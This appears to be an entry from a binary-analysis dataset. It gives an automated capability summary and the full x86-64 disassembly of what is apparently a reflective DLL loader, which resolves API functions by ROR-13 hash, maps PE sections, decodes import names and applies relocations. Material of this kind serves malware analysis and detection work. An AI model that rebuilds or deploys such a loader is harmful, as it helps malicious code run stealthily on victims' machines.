Function at 0x18001857c
Capabilities:
Access peb ldr_data
Encode data using xor
Parse pe header
Resolve function by hash
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rcx
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x68
xor ebx, ebx
mov r8d, ebx
mov qword [rsp + 0x40], rbx
mov dword [rsp + 0xc0], ebx
call fcn.180018b6c
lea ebp, [rbx + 1]
mov r14, rax
mov eax, 0x5a4d
cmp word [r14], ax
jne 0x1800185d3
movsxd rax, dword [r14 + 0x3c]
lea rcx, [rax - 0x40]
cmp rcx, 0x3bf
ja 0x1800185d3
cmp dword [rax + r14], 0x4550
je 0x1800185d8
sub r14, rbp
jmp 0x1800185ad
mov rax, qword gs:[0x60]
mov qword [rsp + 0xb8], r14
mov r12d, 0xffff
mov rdi, qword [rax + 0x18]
mov rdx, qword [rdi + 0x20]
jmp 0x180018631
mov rsi, qword [rdx + 0x50]
movzx r8d, word [rdx + 0x48]
mov rcx, rbx
ror ecx, 0xd
cmp byte [rsi], 0x61
jb 0x180018617
movzx eax, byte [rsi]
sub eax, 0x20
cdqe
jmp 0x18001861a
movzx eax, byte [rsi]
add rcx, rax
add rsi, rbp
add r8w, r12w
jne 0x180018605
cmp ecx, 0x6a4abc5b
je 0x180018638
mov rdx, qword [rdx]
test rdx, rdx
jne 0x1800185f9
jmp 0x18001863c
mov rdi, qword [rdx + 0x20]
movsxd rax, dword [rdi + 0x3c]
mov r13, qword [rsp + 0xb8]
mov r15, qword [rsp + 0xb8]
mov r11d, dword [rax + rdi + 0x88]
mov r9, qword [rsp + 0xb8]
mov r10d, 6
mov esi, dword [r11 + rdi + 0x20]
mov r8d, dword [r11 + rdi + 0x24]
lea r14d, [r10 - 4]
add rsi, rdi
add r8, rdi
mov edx, dword [rsi]
mov ecx, ebx
add rdx, rdi
mov al, byte [rdx]
ror ecx, 0xd
movsx eax, al
add rdx, rbp
add ecx, eax
mov al, byte [rdx]
test al, al
jne 0x180018683
cmp ecx, 0xec0e4e8e
je 0x1800186c8
cmp ecx, 0x7c0dfcaa
je 0x1800186c8
cmp ecx, 0x91afca54
je 0x1800186c8
cmp ecx, 0x7946c61b
je 0x1800186c8
cmp ecx, 0x753a4fc
je 0x1800186c8
cmp ecx, 0xd3324904
jne 0x18001874f
mov eax, dword [r11 + rdi + 0x1c]
movzx edx, word [r8]
add rax, rdi
cmp ecx, 0xec0e4e8e
jne 0x1800186e9
mov eax, dword [rax + rdx*4]
add rax, rdi
mov qword [rsp + 0x50], rax
jmp 0x18001874b
cmp ecx, 0x7c0dfcaa
jne 0x180018705
mov r14d, dword [rax + rdx*4]
add r14, rdi
mov qword [rsp + 0x28], r14
mov r14d, 2
jmp 0x18001874b
cmp ecx, 0x91afca54
jne 0x180018716
mov r13d, dword [rax + rdx*4]
add r13, rdi
jmp 0x18001874b
cmp ecx, 0x7946c61b
jne 0x18001872b
mov eax, dword [rax + rdx*4]
add rax, rdi
mov qword [rsp + 0x48], rax
jmp 0x18001874b
cmp ecx, 0x753a4fc
jne 0x18001873c
mov r15d, dword [rax + rdx*4]
add r15, rdi
jmp 0x18001874b
cmp ecx, 0xd3324904
jne 0x18001874b
mov r9d, dword [rax + rdx*4]
add r9, rdi
add r10w, r12w
add rsi, 4
add r8, r14
test r10w, r10w
jne 0x18001867a
mov r14, qword [rsp + 0xb8]
mov ecx, 0x8000
movsxd rbp, dword [r14 + 0x3c]
add rbp, r14
mov qword [rsp + 0x58], rbp
movzx eax, word [rbp + 0x16]
and ax, cx
neg ax
mov eax, 0x4000
sbb r12d, r12d
and r12d, 0x3c
add r12d, 4
mov dword [rsp + 0x20], r12d
test word [rbp + 0x16], ax
je 0x18001883b
lea rcx, [r14 + 0x40]
call r9
test rax, rax
jne 0x18001883b
lea r8d, [rax + 1]
lea rcx, [r14 + 0x40]
xor edx, edx
call r15
mov edi, 1
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x18001883b
mov r15, qword [rsp + 0x28]
cmp rdi, 0x10
jae 0x1800187ee
test rbx, rbx
jne 0x1800187f3
mov rdx, rdi
mov rcx, rsi
call r15
inc rdi
mov rbx, rax
jmp 0x1800187d2
test rbx, rbx
je 0x18001883b
mov edx, dword [rbp + 0x50]
mov rsi, qword [rsp + 0x48]
mov rax, rbx
and eax, 0xfff
lea r9, [rsp + 0xc8]
mov r8d, r12d
sub rbx, rax
mov rcx, rbx
call rsi
mov ecx, dword [rbp + 0x50]
xor eax, eax
mov rdi, rbx
lea r9, [rsp + 0xc8]
mov r8d, r12d
rep stosb byte [rdi], al
mov edx, dword [rbp + 0x50]
mov rcx, rbx
call rsi
xor r11d, r11d
test rbx, rbx
jne 0x18001885c
mov edx, dword [rbp + 0x50]
mov r9d, r12d
xor ecx, ecx
mov r8d, 0x3000
call r13
mov ecx, dword [rbp + 0x50]
mov rdi, rax
mov rbx, rax
xor eax, eax
rep stosb byte [rdi], al
xor r11d, r11d
mov r8b, byte [rbp + 0x10]
mov r10d, dword [rbp + 0x50]
mov r13d, 1
add r10, 0xffffffffffffffc0
mov byte [rsp + 0xb8], r8b
add r10, rbx
mov qword [rsp + 0x38], r10
test r8b, r8b
je 0x18001888b
mov eax, dword [rbp + 0x38]
sub rbx, rax
jmp 0x1800188ac
mov ecx, dword [rbp + 0x54]
mov rdi, rbx
mov rsi, r14
rep movsb byte [rdi], byte [rsi]
test byte [rbp + 0x16], r13b
je 0x1800188ac
movsxd rax, dword [rbx + 0x3c]
mov dword [rax + rbx], r11d
mov word [rbx], r11w
mov dword [rbx + 0x3c], r11d
movzx edx, word [rbp + 6]
movzx eax, word [rbp + 0x14]
test rdx, rdx
je 0x180018902
add rax, 0x28
add rax, rbp
mov r8d, dword [rax - 4]
mov r9d, dword [rax]
mov esi, dword [rax + 4]
add r8, rbx
add rsi, r14
mov ecx, r9d
mov rdi, r8
sub rdx, r13
rep movsb byte [rdi], byte [rsi]
test dword [rax + 0x14], 0x20000000
je 0x1800188f1
mov qword [rsp + 0x40], r8
mov dword [rsp + 0xc0], r9d
add rax, 0x28
test rdx, rdx
jne 0x1800188c0
mov r8b, byte [rsp + 0xb8]
mov r15d, dword [rbp + 0x90]
add r15, rbx
mov qword [rsp + 0x30], r15
mov eax, dword [r15 + 0xc]
test eax, eax
je 0x180018a35
mov rbp, r10
jmp 0x180018928
mov r13d, 1
mov esi, eax
mov rdi, rbp
mov ecx, 0x40
add rsi, rbx
mov rax, rbp
rep movsb byte [rdi], byte [rsi]
mov ecx, 0x40
xor byte [rax], r8b
add rax, r13
sub rcx, r13
jne 0x18001893f
mov rcx, rbp
call qword [rsp + 0x50]
mov r14d, dword [r15 + 0x10]
mov r12d, dword [r15]
add r14, rbx
xor r11d, r11d
add r12, rbx
mov r13, rax
cmp qword [r14], r11
je 0x180018a09
mov r15, qword [rsp + 0x28]
test r12, r12
je 0x1800189b0
movabs rax, 0x8000000000000000
test qword [r12], rax
je 0x1800189b0
movsxd rax, dword [r13 + 0x3c]
movzx edx, word [r12]
mov ecx, dword [rax + r13 + 0x88]
mov eax, dword [rcx + r13 + 0x10]
mov ecx, dword [rcx + r13 + 0x1c]
add rcx, r13
sub rdx, rax
mov eax, dword [rcx + rdx*4]
add rax, r13
jmp 0x1800189eb
mov rsi, qword [r14]
mov edx, 0x40
mov rdi, rbp
add rsi, 2
mov ecx, edx
mov rax, rbp
add rsi, rbx
rep movsb byte [rdi], byte [rsi]
mov ecx, edx
mov dl, byte [rsp + 0xb8]
lea edi, [rcx - 0x3f]
xor byte [rax], dl
add rax, rdi
sub rcx, rdi
jne 0x1800189d5
mov rdx, rbp
mov rcx, r13
call r15
xor r11d, r11d
mov qword [r14], rax
add r14, 8
test r12, r12
je 0x1800189fb
add r12, 8
cmp qword [r14], r11
jne 0x180018972
mov r15, qword [rsp + 0x30]
mov eax, dword [r15 + 0x20]
mov r8b, byte [rsp + 0xb8]
add r15, 0x14
mov qword [rsp + 0x30], r15
test eax, eax
jne 0x180018922
mov rbp, qword [rsp + 0x58]
mov r10, qword [rsp + 0x38]
mov r12d, dword [rsp + 0x20]
xor eax, eax
mov rdi, r10
mov r8, rbx
lea ecx, [rax + 0x40]
rep stosb byte [rdi], al
sub r8, qword [rbp + 0x30]
cmp dword [rbp + 0xb4], r11d
je 0x180018afc
mov edi, dword [rbp + 0xb0]
add rdi, rbx
mov eax, dword [rdi + 4]
test eax, eax
je 0x180018afc
mov r14d, 2
mov edx, dword [rdi]
mov esi, eax
lea r9, [rdi + 8]
sub rsi, 8
add rdx, rbx
shr rsi, 1
je 0x180018aeb
mov r10d, 1
movzx ecx, word [r9]
sub rsi, r10
movzx eax, cx
shr ax, 0xc
cmp ax, 0xa
jne 0x180018aa7
and ecx, 0xfff
add qword [rcx + rdx], r8
jmp 0x180018ae3
cmp ax, 3
jne 0x180018ab9
and ecx, 0xfff
add dword [rcx + rdx], r8d
jmp 0x180018ae3
cmp ax, r10w
jne 0x180018ad2
mov rax, r8
and ecx, 0xfff
shr rax, 0x10
add word [rcx + rdx], ax
jmp 0x180018ae3
cmp ax, r14w
jne 0x180018ae3
and ecx, 0xfff
add word [rcx + rdx], r8w
add r9, r14
test rsi, rsi
jne 0x180018a87
mov eax, dword [rdi + 4]
add rdi, rax
mov eax, dword [rdi + 4]
test eax, eax
jne 0x180018a6d
mov rax, qword [rsp + 0x40]
test rax, rax
je 0x180018b2d
mov ecx, dword [rsp + 0xc0]
test ecx, ecx
je 0x180018b2d
cmp r12d, 4
jne 0x180018b2d
mov edx, ecx
lea r9, [rsp + 0xc8]
lea r8d, [r12 + 0x1c]
mov rcx, rax
call qword [rsp + 0x48]
mov eax, 0x1000
test word [rbp + 0x16], ax
je 0x180018b40
mov edi, dword [rbp + 0x80]
jmp 0x180018b43
mov edi, dword [rbp + 0x28]
mov r8, qword [rsp + 0xb0]
add rdi, rbx
mov edx, 1
mov rcx, rbx
call rdi
mov rax, rdi
add rsp, 0x68
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret